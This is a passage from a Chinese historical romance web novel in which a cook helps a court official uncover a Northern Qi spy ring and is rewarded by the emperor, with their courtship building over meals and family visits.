“不过也不算坏事,即便有人拿到图也未必找得到。”大理寺能人辈出都没有找到地方,旁人又怎么能轻易知晓。除非有人早知图之意。韩泽始终认为这张图背后另有玄机,不然只凭图很难确定一个具体地点。 “对了,劫你的人抓到了。” “这么快?”姚轻雪惊喜之余很是好奇:“什么人要杀我?” “杀你的和劫你的不是一伙。这几日大理寺抓了先前杀张家 奴仆的那伙人,也就是欲将你劫到城外的那三人。他们是安国公府余孽,试图从张家奴仆口中找到火器下落。” 安国公府的死士抓了几个近身伺候张迁的仆人,有人为了活命胡乱攀咬,就把得张夫人和吴姨娘喜欢的姚厨娘说出来保命。事后那几人也都被灭了口。 姚轻雪被盯上有些日子了,但她待在韩家不出来,他们也没办法,于是就雇了几个痞子伺机找姚福和刘氏麻烦。那三人本想抓她回去逼问,没想到半路杀出个韩浩。 那日韩泽回大理寺对韩浩抓住的活口严刑逼供,令其供出背后主使和藏匿地点。韩泽马不停蹄地去抓人,总算是把安国公府的余孽一网打尽。上次西柳巷的两伙人中就有他们。 姚轻雪唏嘘不已,她这是什么运气啊?来这之后只去过两家做工,两家都没有善果,还连累她被人追杀。幸好有韩泽,不然她大概也像那几个张家奴仆一样死得很惨。 她还想问问,但见韩泽眼睛很红,便没再开口。曹叔已经烧好热水,韩泽洗了个澡就回房睡了,他这几天不眠不休着实累得够呛。 晚上姚轻雪与曹叔合力准备了一桌菜。韩大人是被香味儿勾醒的。半睡半醒中他勾了勾嘴角,恍惚有种“琴瑟在御,莫不静好”的感觉,他把头埋进被子里蹭了蹭,实在忍不住香味儿的诱惑才懒洋洋下床。 屋内很暗,推开门才发现此时已是月上树梢,他竟然睡了这么久。姚轻雪在屋檐下坐着,见他醒了赶紧去灶房把饭菜端上来。韩泽接过她手里的盘子:“一只胳膊还做这么多。” 他不要求,她反倒上心了,韩大人心里甜滋滋的,像是吃了蜜糖。 姚轻雪狡黠一笑:“韩大人替我抓到歹人又受了伤,别说一只胳膊,就算两只都不能用,我也得给您弄口吃的填饱肚子。” 知道她是在拍马屁,但韩大人很受用,把同僚送的酒拿出来。 “有伤不能喝酒。” “难得今日无事烦心,喝点不碍事。”韩泽揭开酒坛上密封的油纸。 行吧,韩大人年轻力壮,喝点酒应该问题不大。姚轻雪转身要走,韩泽叫住她:“帮我倒酒。” 姚轻雪左胳膊堪堪能用,倒完酒,韩泽又让她夹菜,理由是他右胳膊受伤,夹菜不方便。 受伤后变娇气了,姚轻雪腹诽,用右手给他夹菜。他们两个,一个伤了右臂,一个伤了左臂,此时坐在一起倒成了患难兄弟。 菜都是他喜欢的,明明什么都没吃,韩泽心里却有一丝甜。早上那碗疙瘩汤早就消化了。他大快朵颐吃了半包才放慢速度。见姚轻雪光顾着给他夹菜,自己一口没动。“你怎么不吃?” “我和曹叔吃过了。”姚轻雪放下筷子,给他斟酒,“大人,安国公府都死了,怎么还有人替他们卖命?” 安国公府以谋反罪被诛九族,陛下判斩立决,当时她在韩泽家里没去看热闹,只知道赵家全都砍了头。按常理主子死了,奴仆不赶紧隐姓埋名苟活余生,还敢出来蹦跶? “百足之虫死而不僵,有人不知天高地厚想接手安国公府的势力,继续谋势。”安国公筹谋已久牵扯甚多,当初陛下当机立断,抓了没多久就把人全砍了,就是怕夜长梦多。不管多大的网,总有漏网之鱼,朝廷一直没有停止对安国公府余党的剿灭。 “张家奴仆何其无辜,临死还要受折磨。”自己差点被虐,姚轻雪始终耿耿于怀。 “是逼问也是泄愤,张迁本是安国公府暗中培养的幕僚,结果张迁藏下火器拒不交出坑了安国公,让安国公错失良机。张迁无子女亲眷,那些人把对张迁的恨转嫁到张家奴仆身上了。” 说起来张家奴仆很冤,也是倒了八辈子霉。还好姚轻雪被他扣下,韩泽再次庆幸自己当初看走了眼。“几条漏网之鱼翻不出大浪,如今抓的抓,杀的杀。此事本来与你没有半点关系,是有人胡乱攀咬才牵连到你。” “我就是个厨子能知道什么?那些人是不是眼瞎?”姚轻雪越说越气,捧起酒坛往自己面前的空碗倒酒。 韩泽想拦却晚了,姚轻雪一仰脖,而后便是猛烈的咳嗽,韩大人十分无奈,给她拍后背:“酒不是这么喝的。” “咳咳、”姚轻雪喉咙里火烧一样,她拿起筷子夹了块肉放进嘴里,嚼了一会儿才把那股辛辣压下去。抬头见韩泽神色古怪地看着她,姚轻雪不解:“吃你一块肉不用这么小气吧?” 韩泽没说话,姚轻雪把筷子放下,咦?她怎么有两双筷子?再去看旁边韩泽面前什么都没有,姚轻雪脸上火辣辣的,赶紧把筷子还给韩泽,觉得不对,她已经用了,于是又拿了回来,拿回来好像也不对,韩泽没筷子用。 她这手伸伸回回好几次,韩泽看不下去,夺了她手里的筷子夹了菜放进嘴里。姚轻雪尴尬极了,正要起身离开。 “赵坤可有对你做过什么?” 嗯?姚轻雪愣住,不明白韩泽为何突然问起赵坤?刚刚那一口酒后劲上来了,她晕乎乎地回道:“没做什么,他不是死了吗?” 韩泽倒了杯茶放到她面前,第一次喝酒的人有可能一口就醉,她刚刚灌下去的一大口可不少。 姚轻雪端起茶杯喝了一口,吧嗒吧嗒嘴,放下端起酒碗又喝了一口。 韩泽:“……”这是喝出滋味来了?韩大人闷笑。 “咚!”酒碗被重重砸到桌上,她睨着男人:“你笑什么?很好笑吗?” 她脸色微红,眼神有几分迷离,瞪起人来毫无威慑力,反而有几分旖旎。韩泽看着她摇头:“不好笑。”可他嘴角的弧度却骗不了人。 烛火下的男人面色柔和、眉眼舒展,不在是平日的冷峻和严肃,姚轻雪嘟囔:“笑起来还挺好看。” “你说什么?” “没什么。”姚轻雪摆了摆手,慌忙端起茶杯,茶水见底了,想去拿茶壶,却发现茶壶嘴已经对准了茶杯。韩泽在给她斟茶。 姚轻雪顺着茶壶看到修长且骨节分明的手,抬眼便是帅气的脸庞与专注的神情。韩泽长相不似宋筠那般温润绵软的书生气,他五官硬朗、鼻挺眉阔。韩泽有世家公子的骄傲与矜持,冷峻外表下有一颗善良的心。是样貌与人品俱佳的男人。 这种人何其难得,姚轻雪鬼使神差地想与此人共度余生才不枉她重活一世。哎?想什么呢?她赶紧晃晃脑袋。 “头晕吗?”韩泽拿走她面前的酒碗。 “还好。”姚轻雪把茶水一仰而尽,冷静下来后问:“当初把我弄到你家做厨子是便于监视,不过我不太明白我一个小小厨娘,至于你大理寺少卿这般上心?”在张家待过的人多了去了,韩泽怎么没把旁人弄家里来? 韩泽放下茶壶,缓缓道:“我曾以为你是北齐探子。” 姚轻雪愣了一会儿才明白韩泽什么意思,她瞪大了双眼,指着自己的鼻子问:“我?探子?”这是迄今为止她听过的最离谱的话。 “嗯。”韩泽点了点头。 “你眼睛也瞎了吗?”姚轻雪脱口而出,她几斤几两韩泽难道看不出来?她哪点像探子?真是六月飘雪啊。 韩泽:“……”确实挺瞎,“那么短的时间内你在张家待过,紧接着又去了安国公府,你说可不可疑?” “这能说明什么?要不是因为爷爷摔断了腿,急需用银子,我怎么会刚出张家,惊魂未定之时又去赵家,说起来我也是受害者,你竟然怀疑我是探子?不是,韩大人,民女觉得您不是这么武断的人,您到底是如 何判断我是探子的?说来听听。“姚轻雪抱着胳膊盯着韩泽,大有你要说不出个子丑寅卯决不罢休的意思。 现在说说也没什么,反正人已经丢到陛下那去了,韩泽便坦白了自己的错误猜测。“你前后脚进了张家和赵家,又是孤儿、” 说到这姚轻雪不干了,“我怎么就孤儿了,我有爷爷奶奶、嗝、” 韩泽无奈:“还要不要我说?” “说。”姚轻雪拍了一下桌子,然后手疼的自己吹了吹。 “从小没有爹娘的孩子很容易被利用,当初只是对你有所怀疑,但后来你身上的疑点越来越多。”韩泽看着她,“没学过厨却做的一手好菜,没读过书却认识字,总往城外跑,还有你房间里的那些不明字符,你可以跟我说说那些字符是怎么回事吗?别告诉我是你随便写的。” 姚轻雪硬着头皮道:“就、就是我随便写的。”那是简体字,不是随便写的根本解释不清楚。 韩泽揉了揉额头,“不想说便不说,只要与火器丢失没有关系便可。” 姚轻雪松了口气,前世的事只能烂在肚子里。至亲至爱都不能说。 “出现在张家和赵家的又不止我一个,你怎么能怀疑我这么纯良的人呢?”哎?姚轻雪嘀咕完突然意识到,按照韩泽的说法,那岂不是? 韩泽放下酒杯,眯了眯眼,“还有谁?” 姚轻雪没说话,她在思考,但酒精让她脑子乱成一团麻。 韩泽深吸一口气,耐着性子道:“都谁去过张家,又去过安国公府?跟我说说,我们一起分析好不好?你只跟我说,外人听不到。” 韩大人哄孩子似的循循善诱,脑袋不大清醒的姚厨娘被温柔的声音蛊惑。“玉美人去给张夫人唱曲,我在赵琨院子里也见过她。”玉美人的身份想要打探消息比旁人容易,她怎么早没想到。不对,韩泽今日若是不提,她也不知道还有细作这回事,正常人谁会往那方面想? 姚轻雪脑子里正在琢磨玉美人,就听韩泽突然问:“你怎么又去赵琨那?” 不是,韩大人你是不是搞错重点了?“我只去过一次。”还差点被强。 韩泽深吸一口气,“你在安国公府那段时间,赵坤有没有对你不规矩?”不规矩已经是很委婉的说辞了。 “有。”姚轻雪委屈巴巴,酒后的她没了往日的防备,想到什么说什么,“他想睡|我,给我宅子和银子,我没干跑了。” 跑了就好,韩泽松了一口气。他给自己倒了酒,漫不经心地问:“你那么爱钱,为何不要?” 姚轻雪瞪他:“君子爱财取之有道,我是那种为了钱财委身于人的人?” “嗯,你不是。”韩泽眉眼一弯嘴唇一翘。 韩大人被酒水浸润过的嘴唇特别鲜艳,姚轻雪直愣愣地看着饱满的嘴,她舔了舔自己的嘴巴,突然觉得口有些干,她赶紧甩甩头。今日是怎么了?脑子里怎么总有些奇怪的想法。 “玉美人又是谁?她去张家做什么?跟赵坤又有什么关系?你详细说来。”韩大人终于想起问正事了。 “玉美人你不知道?凤仙楼里的歌姬玉美人,徐家寿宴上她还去了呢,据说京城的男人都垂涎她的美色,韩大人你真不知?”姚轻雪歪着头盯着韩泽,想看他有没有撒谎。 韩泽抬手把她脑袋扶正,“的确不知。”他没有勾栏听曲的嗜好,也不去那种地方消遣,即便见过也不会放在心上。每日公事已经够忙了,哪里还能把不相关的人记在脑中。 姚轻雪小鸡啄米似地点头。韩泽好笑,平日让她说句实话很难,两口酒下去问什么说什么。早知道醉了这么好套话,他何至于等到现在。 “夜深了,我扶你回房休息。”韩泽扶起站都站不稳的人。 姚轻雪半挂在韩泽身上,迷迷糊糊回到房间,见到床扑过去翻个身就睡了过去。韩泽摇头失笑,给她脱掉鞋子盖上被子才离开。他嘱咐曹叔看好人又出门了。 次日姚轻雪醒来回想起昨晚的事,她恨不得找个地缝钻进去。有句话怎么说来着:两杯酒下肚就不知道自己姓什么了。其实昨晚她似醉非醉,说过的话做过的事都还记得。她跟韩泽拍桌子,还用人家的筷子,丢人呐。希望韩大人喝醉了,把昨晚的事都忘了吧。 韩泽一走又是三天,三日后韩泽回家身上又添了新伤,人却神采奕奕,他看向姚轻雪的眼神那叫一个热切,姚轻雪被他看得发毛。“大人,发生什么事了吗?” 韩泽走到她跟前,“北齐细作抓到了,多亏有你。” 他用一日摸清凤仙楼所有人员底细,又用一日顺着玉美人找到北齐细作的老巢,今日找来禁军与大理寺合力围了凤仙楼,剿了北齐插在大卫京城的暗探组织。 据北齐细作交代西柳巷的另一伙人是他们,如此西柳巷的两伙人都弄清楚了。悬在韩泽心里的疑问也都解开了。 姚轻雪惊诧,玉美人,真的是她? “你做的很好。”韩泽想拍拍她的肩膀,手抬起来发觉不合适又讪讪地放下。“破获此案,你有功,想要什么?” 拿到张迁藏火器的图纸,紧接着又抓到让他头疼多年的北齐女探子玉美人,她背后的北齐探子组织也让他连根拔起。虽然姚轻雪不是探子,但北齐细作因她而暴露,就像是冥冥之中有注定。 他对姚轻雪的怀疑,错了也是对了。不管怎样结果是好的,好的不能再好,他家厨娘真是他的福星! 姚轻雪眨眨眼,一脸希冀地问:“要什么都行吗?宅子?银子?我都喜欢,您都给也行。” 韩泽戳她额头,“想的美,嘶。”抬胳膊牵动了伤口,韩大人肩膀渗出血了。 姚轻雪解开韩泽左边肩膀上的绑带,见他肩甲上有个小洞。“玉美人伤的?” “嗯。”韩泽不大情愿地应道。被女人打伤总是不大光彩。 “你怎么连女人都打不过?”在姚轻雪看来,玉美人柔柔弱弱,实在想不出她能有多厉害。 韩泽不服气:“那可不是一般的女人。”玉美人除了琴弹得好歌唱得美,还十分擅长暗器杀人。肩膀就是被她的飞镖打中的。 玉美人很早就在凤仙楼里,这么多年都没人怀疑,绝对是美色误人。姚轻雪想说:这么年没抓到人,你可真够蠢的。但一想这么说太伤人,韩泽与那些迷恋美色之徒不同,再说他都受伤了,就别在他伤口上撒盐了。开玩笑也要有分寸。 “是玉美人想杀我吗?”她没得罪过别人,姚轻雪觉得自己可能干了件蠢事。 “想灭你的口。”韩泽撇她一眼。“你可真蠢,自己送上门。”姚轻雪在前工部侍郎张家和安国公府赵家做过厨娘,街坊全知道,很容易打听出来。 姚轻雪:“……”她放过他,可他却没有放过她。算了,她确实蠢。 “别不服气,人家原来根本不知你在张家待过,是你自己说出来。玉美人一查发现你也在安国公府待过,现在还在我家里,她怕因你露马脚,这才想着把你解决,免除后患。结果她竟然因为你栽了,你说她蠢不蠢?你和她半斤八两,哈哈哈……嘶!” 半年多韩泽从来没这么畅快过,他笑得不能自已,然后牵动了伤口。 姚轻雪:“……”要不别管他了,疼死他算了。 笑够了韩泽又道:“若不是她多此一举,我还想不到她。” 玉美人是有名歌姬,被人瞧见去过张家和赵家也正常,她也去过李家王家徐家,坏就坏在她想太多了。姚轻雪在大理寺少卿家做厨子,玉美人担心哪天姚轻雪跟韩泽说起自己,引起怀疑,便想着一了百了,不过一个厨子,伪装成抢劫钱财杀人即可。 玉美人的举动恰巧让韩泽消除了对姚轻雪的怀疑,这才有了后来的开诚布公、酒后畅谈。说起来有些像玩笑,姚轻雪无意中提到玉美人。若不是玉美人多此一举要杀人灭口,她的身份不会这么快暴露。陆大人都觉 得他这案子破的跟玩似的。 “我就不明白了,男人见到玉美人垂涎三尺也就罢了,你个女人见她那么欢喜做什么?”韩泽戏谑地看着姚轻雪。 第35章 第35章年底成亲有些迟了 玉美人说姚轻雪与她一见如故,再见甚欢,韩泽就纳闷,他家厨娘对他戒心甚大,对外人也不怎么热络,怎么对那个女人就这般亲近? “女人怎么了?女人也喜欢好看之人,这叫爱美之心。”姚轻雪不忿。 韩泽:“宋筠好看?” 这跟宋筠什么关系?姚轻雪已经习惯韩泽偶尔莫名其妙的问题。她倒是没有多喜欢玉美人,身为女人的同情罢了。 “玉美人很可怜,那么漂亮温柔的姑娘在那种地方,一辈子不能解脱。”现在看人心太软并不是好事,有时可能是催命符。 韩泽冷哼:“她可怜?人家卖艺不卖身,每日打赏就够你几个月工钱,你觉得她可怜?” 姚轻雪叹气,谁有她可怜? 所有事情跟她半点关系没有,却差点因为那些不关己的事送命。她就是为生计奔波的普通人,普通人怎会想到自己与谋反、细作牵扯到一起。若不是有韩泽为她解惑,她怕是因何而死都不知道。 “玉美人去张家为了火器,那她去安国公府又是为了什么?”姚轻雪并不清楚这里面的弯弯绕。 “安国公与北齐勾结,答应给北齐部分火器,并且约定北齐挑起边境战争,然后安国公发动内乱,在大卫内忧外患之时,安国公趁机夺权。玉美人便是重要联络人,她几次去张家就是为了跟张迁索要火器。张迁一拖再拖,张迁死后玉美人去见安国公,安国公答应她一定找到火器,只是他们并不知道安国公筹谋之事早就被陛下知晓。”安国公自己都想不到他会死得这么快。 “说起来也是巧。”韩泽笑道:“玉美人从未去过安国公府,往常接头都是赵琨去找她。那日赵琨宴请宾客就是为了玩乐,玉美人也不是赵琨请去的,而是旁人带过去的,原本要去的歌姬也不是玉美人,是她沉不住气自己非要去。” 玉美人多年来拿到不少大卫朝廷的情报,她做事向来万分小心,就去赵家那么一次,还被他家厨娘给瞧见了。 姚轻雪也是十分无语,那日要不是赵琨喝醉起了色心,又那么迫不及待客人没走就叫她过去,她不可能碰见玉美人,只能说自作孽不可活。 “安国公为何要谋反?”好好的日子不过,搭上九族的命,是不是有病?要是皇帝昏庸也就罢了,当今圣上是明主,在明君手下做权臣不快乐吗?吃饱了撑的去造反。 韩泽淡淡道:“欲壑难填。” 安国公乃开国功勋,一直以来都是朝中重臣。当今圣上并非先帝嫡子,先太子暴毙后,安国公扶持今上为太子。陛下登基以来,安国公府享尽恩宠,也因此养大了胃口,让他的野心进一步增大。 姚轻雪不明白安国公这种人,子孙后代都有享不完的荣华富贵,还有什么不知足?做皇帝有什么好?不过又一想人对权力和金钱的欲望哪有止境。不然世上就不会有那么多贪官了。既为官就是人上人,生活远高出普通人,但他们不满足,人心是无底洞,欲壑难平灾祸就不远了。 “哎!”好好活着不好吗? 韩泽以为她在叹自己,便道:“不用叹气,威胁你的人都不在了,今后你可以自由外出。”这段日子他家厨娘也是憋坏了。 姚轻雪高兴,高兴之余心里突然有些失落,她知道是时候该走了。“既然事情已经解决了,我也没有留下来的必要了,请大人另请厨子吧。” 韩泽一怔,是了,细作全都抓了,姚轻雪没有留下来的理由。 韩泽悠悠道:“谁说没必要?火器没有找到,凡是看过图的人都在监视中。那张图你闭着眼睛都画得出来,要么在我家好好做你的厨娘,要么有旁人监视你,你可以自己选。”理由嘛找找就有了。 “……”不是,韩大人你这不是耍赖吗?她好心把图给他,结果是给自己套了根绳儿?姚轻雪气道:“一辈子找不到火器,我得给你做一辈子厨子?” 一辈子嘛肯定不是厨子,韩泽觉得还不是时候,便道:“先不说这个,你瞧瞧我现在的样子,你忍心弃我于不顾?”他轻轻抬了抬两只手臂。 韩大人两边肩膀都受了伤,一条胳膊伤时都要让人夹菜倒酒,现在是不是得用人喂到嘴里?姚轻雪想了想那个画面,脸上一热,也就把是不是一辈子做厨娘这茬忘了。“我去给你弄吃的。” 韩泽看着姚轻雪红着脸跑走,咧嘴一笑,既入了他家门想走可没那么容易。韩大人在曹叔的帮助下擦洗了身体,换了干净衣服,便躺在床上琢磨明日见陛下该怎么说。 今日他原本该进宫面圣,但这一身脏污不成体统,陆大人让他回家明日再去。火器虽然还没有找到,但北齐在京城的钉子都被拔了,此案姚轻雪有大功。她的功足以抵消藏匿图纸的过,想来陛下也不会为难他家厨娘。 等事情都过去,最迟年底他也该成亲了。爹和祖母应该很高兴,至于母亲,母亲没见过她,等见到以后也一定会喜欢。妹妹好像和她不大合得来,但问题不大,那丫头明年及笄,最迟三年她也该嫁人了。 想着想着韩泽不知不觉就睡了过去,他是被姚轻雪推醒的。“起来吃点东西再睡。” 韩泽躺在床上呆呆地看着床边的人,年底成亲有些迟了,不然秋后吧。 姚轻雪见他一动不动,以为他睡迷糊了,伸手在他眼前晃了晃。“韩大人,醒醒、醒醒。” 韩泽抓住乱晃的手,姚轻雪抽手没抽出来,她也不敢太用力,怕牵动他胳膊上的伤。“真是睡糊涂了。”姚轻雪嘀咕。 片刻后,韩泽觉察失礼才慢慢松手,他起身来到桌边,见桌上有盆鸡汤,里面有些片状物,韩大人一愣。 姚轻雪把黄芪炖鸡给他盛到碗里放到面前,韩大人盯着鸡汤皱眉。 “怎么了?不喜欢?还是动不了筷子。”姚轻雪心想他要是真动不了筷子,自己勉为其难地喂他也不是不行。毕竟拿着人家的工钱,主人手不能动,她代其劳也没什么。不过想想刚刚的手劲儿想来是她想多了。 姚轻雪正琢磨给韩泽喂饭,就听韩大人问:“会不会流鼻血?” 姚轻雪一愣,然后“噗嗤”笑出来,前些日子的当归乌鸡汤也给韩泽留下了阴影。“黄芪温补,偶尔吃一些不会补过头,放心吧。” “那便好。”韩泽松口气,随即有些可怜地问:“拿不了筷子怎么办?”原本他没想到这茬,其实他右手吃饭没有问题。但他家厨娘都提醒了,怎好辜负了她一番心意。 姚轻雪眨眨眼,刚攥她手时力气还很大,这会儿就不能动了?“让曹叔来帮你。” 韩泽:“曹叔手笨。” 门外的曹叔:“……”少爷可真会埋汰人,伺候他这么久,以前怎么没嫌弃他手笨。 姚轻雪做了一番挣扎后坐到他身边,给他夹菜,不,是喂。第一筷子没好意思抬头,差点怼韩泽鼻孔里。第二筷子也没对准,只吃进去一点,撒了大半。 韩泽无奈,这么下去这饭怕是吃不饱了,韩大人默默拿起筷子。姚轻雪忍笑,韩某人也有这么幼稚的时候。 “对了,现在我能回家了吧?”那日离开后她就没回去过,也不知爷爷奶奶还有芽芽怎么样了? “可以,明日回去看看吧。”韩泽道,“让曹叔陪你回去。” “不用,你两只胳膊都不能动,曹叔留下来照顾你,我一个人可以。” “不行。”韩泽摇头,“是否还有人打你的主意,尚未可知,以防万一,以后出门都让曹叔陪着。” 姚轻雪想了想,她知道图的事,不管是多余还是谨慎,小心一点总没有坏处,便同意了。 第二天韩泽要进宫面圣,大理寺的马车先到葫芦巷,韩泽在人下车前叮嘱:“申时前我若回来便过来接你,我若是回不来曹叔会过来接你,我们都不来,你就在家住一晚,晚上记得拴好门。” “知道了韩大人,你可真啰嗦。”在家都说好了,现在还说,以前怎么没发现他这么啰嗦。姚轻雪嘀咕着下了马车。 韩泽失笑,他是为了谁啊?看着姚轻雪进了家门,他才离开。 大理寺的人 已经撤出姚家,芽芽见到姐姐回来,放下扫把就扑过来。 姚轻雪搂着妹妹,“芽芽真能干,都能扫院子了。” “不让扫偏要扫,我要动手她还跟我急。”姚福把芽芽扔下的扫把捡起来竖到墙边。 刘氏嗔怪道:“还不是孙女心疼咱们。”芽芽不仅不让姚福扫院子,还不让刘氏进灶房。小小的一个人从早上睁眼就开始忙碌,进进出出里里外外,家里打扫的干干净净,饭也做得像模像样。 “你姐回来了,让她瞧瞧我是不是没事了?”姚福对芽芽道。小姑娘不说话,把头埋在姐姐的怀里。 姚福头上的磕碰并不重,吃了几天药已经能下床了,刘氏的心病也没什么大碍。但芽芽一直记得姐姐的嘱托:要照顾好爷爷奶奶,所以她生怕自己没做好。学着姐姐在家的样子照顾姚福和刘氏。 姚轻雪捏了捏芽芽圆嘟嘟的脸蛋,“芽芽做的很好,去把果子洗了吧。”回来的路上她买了一串葡萄。夏天接近尾声,已经有人开始卖各色果子了。 “好!”芽芽提着葡萄去灶房。姚轻雪随二老进屋。 刘氏先问了孙女的伤,得知没有大碍才道:“大前日大理寺给送来十两银子,说是那几个痞子赔偿的药钱。这次多亏了韩大人,咱家不但没吃亏还拿到赔偿,咱们得怎么谢韩大人才好?” “奶,这个您不用管,人情我会还。”尽心尽力伺候他,饭都喂到嘴边了,这还不够还人情? 刘氏眼睛始终盯着孙女,以她过来人的直觉,孙女和那大理寺少卿怕是有事。“雪儿,要不然你辞了韩家的工,回家来吧,卖卤味不比你在韩家做厨子赚得少。” “你奶说的对。”姚福也道:“最近攒了不少银子,咱家不缺钱,回来吧。” “你回来帮我们,我和你爷也能轻省些。”刘氏继续劝。 不是大理寺少卿不够好,也不是他家孙女不够好,而是他们的家世根本配不上人家。自古婚姻讲究门当户对,韩家若是小门小户也就罢了,但人家爹可是镇远大将军,韩泽本人又得皇帝信赖,这种人怎么会娶孙女做正妻?想想都不可能啊。 陈九在姚家的这几日,刘氏拐弯抹角地打探韩泽,陈九知道姚厨娘在韩少卿那不一般,韩泽的身份也不是什么秘密,索性就都说了。 刘氏这才知道韩泽不仅仅是大理寺少卿,那可是正经儿的勋贵之后。说句难听的他们家给人家提鞋都不配。满京城打听打听,哪家勋贵嫡子娶平民女子?根本就没有啊。 贫家女想入勋贵之家只有做妾。做妾便要受正妻磋磨,任打任骂,稍有反抗就可能被赶回家。姚福和刘氏无论如何都不想孙女走这条路,他俩更怕孙女被迷了眼,就想着把人叫回来。 姚轻雪并不知二老心中所想,爷爷奶奶说的对,按理儿她是时候该回家了。她最初的计划也是把芽芽的户籍办下来,便回家自己干,然后慢慢把食肆开起来。 但现在韩泽伤着,她不好离开,终究是欠了他许多。况且她心里也抱有一丝希望。“我知道了,再等些日子,韩大人受伤了,我若突然离开他那边短时间怕是不好找人,等他伤势好些我再回来。” 姚福:“也好,那就等等。” 刘氏欲言又止,这种事哪能等啊?万一大错铸成,将来后悔都晚了。将军府怎么可能缺下人?但她也不好太过直白,说起来还是他们亏欠了孙女。 与爷爷奶奶说了会儿话,姚轻雪就开始忙,她把老两口的衣服洗了,芽芽一直有帮忙。下午姐妹俩去买了肉和菜。 晚饭刚做好韩泽就到了,还带来不少东西。有糕点、果子、糖果、绸缎,还有一盒闪瞎人眼的金元宝。 刘氏数了数足有十个。把她和姚福都吓呆了,他们见过金首饰,可从来没见过金元宝啊,在阳光下闪着金光的金元宝啊。 呆了片刻,老两口又开始担心,生怕韩泽提什么过分要求。姚福拱手一礼:“韩大人,无功不受禄,这些东西太贵重,我们不能要。” 韩泽颔首:“姚厨娘替我破了桩案子,这些都是皇上赏的,陛下赏赐不可不收。” 刘氏腿一软,要不是及时扯住老头子她得跪下。姚福也没好到哪里去,颤颤巍巍道:“皇、皇上赏的?”老天爷呀,他家孙女可真能耐,都在皇上面前露脸了,可真给老姚家长脸。 姚轻雪也很意外,她看向韩泽,一股暖意冲上心头。韩泽若是瞒下此事,皇帝知道她姓甚名谁? 姚福还算理智,惊喜过后问道:“雪儿帮大人破案?她一个姑娘家能帮大人您破什么案子?” “雪儿,你眼睛咋了?”刘氏见韩泽眉眼含笑地看着她身侧,一转头就看见孙女对人家挤眉弄眼。 姚轻雪的意思是让韩泽别说实话。她经历的那些事,每件说出来都是吓死人的程度,刘氏有心疾,听到后能当场厥过去。 “没什么,眼睛进东西了。”姚轻雪讪笑、揉揉眼睛。 第36章 第36章心有灵犀 韩泽忍笑道:“是这样,姚厨娘出门买菜碰见了可疑之人,事后与我说起,那人正是朝廷正在缉拿的要犯,由于她提供了有用信息,大理寺很快将犯人缉拿归案。陛下念在姚厨娘助大理寺破案有功,便给了这些赏赐。” “原来是这样。”姚福和刘氏信了。芽芽看看韩泽低下头抿着嘴,骗子,骗我姐,还骗爷爷奶奶,哼。 姚福和刘氏对韩泽千恩万谢,韩泽婉拒二老留饭的好意,“因抓捕逃犯,我的两只手臂都受了伤,日后免不得要麻烦姚厨娘照顾,近期她不能在二老跟前尽孝,还望二位不要怪罪韩某。” “不敢不敢。”姚福忙道:“照顾您是应该的。”韩泽客气了几句便告辞。 等人出了院门,刘氏嘀咕:“说的好听,倒是让人在家吃顿饭再走啊。” 姚福低声斥道:“雪儿在家吃,你让韩大人在外面等?咱家的饭人家能吃吗?” 刘氏心道她家饭怎么了?都是大孙女做的。在韩家他也是吃孙女做的饭,换成在他们家里就不行了?他家小门小户压根够不到人家门槛呢。 姚轻雪帮着把东西搬进屋里才离开。出院门见韩泽弯着腰,小白蹲在他面前。“它倒是不怕你。” “挺乖的。”韩泽摸了摸白猫脑袋。他起身准备上车,小白跟在身后,似乎要跟着走。 姚轻雪玩笑道:“韩大人,小白不会是闻到你身上的富贵味了吧?”小白平日高冷的很,赵氏过来串门摸一下都不给,现在竟然想跟韩泽走。听说猫嫌贫爱富,也不知道真假。 她话音刚落,芽芽从院里窜出来,抱起小白就往院里跑。然后“嘭”地一声把大门甩上。哼,骗她家人,还想骗她的猫?坏人。 韩泽:“……”韩少卿何时受过这等待遇,他指着关上的大门问:“我没得罪她吧?” 姚轻雪忍笑,芽芽估计是不想她走,便对韩泽有意见。 负责赶车的高飞扭头憋笑,心想估计是小姑娘觉察出韩大人的意图,姚家情况特殊,小姑娘对长姐有母亲般的依赖,她能给韩泽好脸色才怪。 上了马车,姚轻雪问:“东西真是皇上赏的?” “自然。”韩泽道,“北齐细作之事一直是陛下的心病,能破此案你当居头功。但你的事不宜声张,赏赐也有限。有了这笔银子两位老人家不用出去摆摊,你也不用总惦记家里。”安心在他身边待着吧。 陛下知道她家厨娘喜欢银子,当初把图当藏宝图找了那么久,结果竹篮打水什么都没得到,所以今日除了东西外,特意给了一千两银子。 姚轻雪觉得跟做梦似的,她心心念念的财宝没找到,峰回路转得了一千两赏赐。有了这笔银子,她就可以开食肆了。 韩泽:“你要开食肆?” “嗯。”姚轻雪兴奋地说:“我早就有这个打算,只是苦于没有银子,谢谢你为我讨来赏赐,等你伤好了我就着手准备。” 韩泽想了想,“以你的手艺开小食店屈才了,不如再等等,等时机成熟开家稍有规模的酒楼。” 姚轻雪何尝不想一步到位直接开酒楼,但一千两银子能开间差不多的食店,开酒楼却远远不够。 “找到火器必然另有重赏,那时你想开酒楼定然没有问题。如今你还是安心做我家厨娘吧。”即便陛下不赏,银子他有,前提是得把人拢住了。她去开食肆就没时间搭理自己了。 姚轻雪没吭声,火器找不找得到还两说,这辈子找不到火器,她岂不是要给韩泽做一辈子厨子?韩大人真会给她画大饼。 “以后再说。”姚轻雪没在往下说这个话题。马车走了有两刻钟还没到地儿,她撩起帘子看外面,“不是回太平巷吗?” 高飞:“韩大人不想姑娘这么晚了还要准备晚膳,提早在万福楼定了席面。” 万福楼?京城最贵的那家酒楼。姚轻雪看了一眼韩泽。 韩大人对她微微一笑:“是不是心有灵犀?你想开食肆,我便提早定了酒楼。” 高飞一哆嗦,妈呀,韩少卿也会说情话,所以说还是得遇见对的人。他甩了一下鞭子,让马儿跑快些。 姚轻雪放下帘子,笑吟吟道:“让大人破费了。” 又过去两刻钟,马车停下,下了马车姚轻雪被眼前的景色震撼了。万福楼有三层高,而且不止一座,而是两座楼。两楼之间有飞桥相连。 此时夜幕刚刚降下,万福楼外已是灯火辉煌,万福楼内光影摇曳热闹非凡。店内装修华美、宛如仙境。姚轻雪咋舌,京城竟然有这等奢华之地,凭这装修菜价也低不了啊。 店小二在前面引路,姚轻雪随韩泽往三楼去。路上听前面两名中年男子交谈。“今日本想带些卤味给李兄,奈何卖卤味的老人出了事故,便没买成。” “听贤弟的意思是街边小贩,比万福还好吃?” 那人低声道:“实不相瞒,我觉着比这好,我也是偶然从家中仆人那得知,才知道街边竟有这等美味。” “果真如此?改日定要尝尝,不知是哪家摊贩所售?又在何处?” “姚家卤味……” 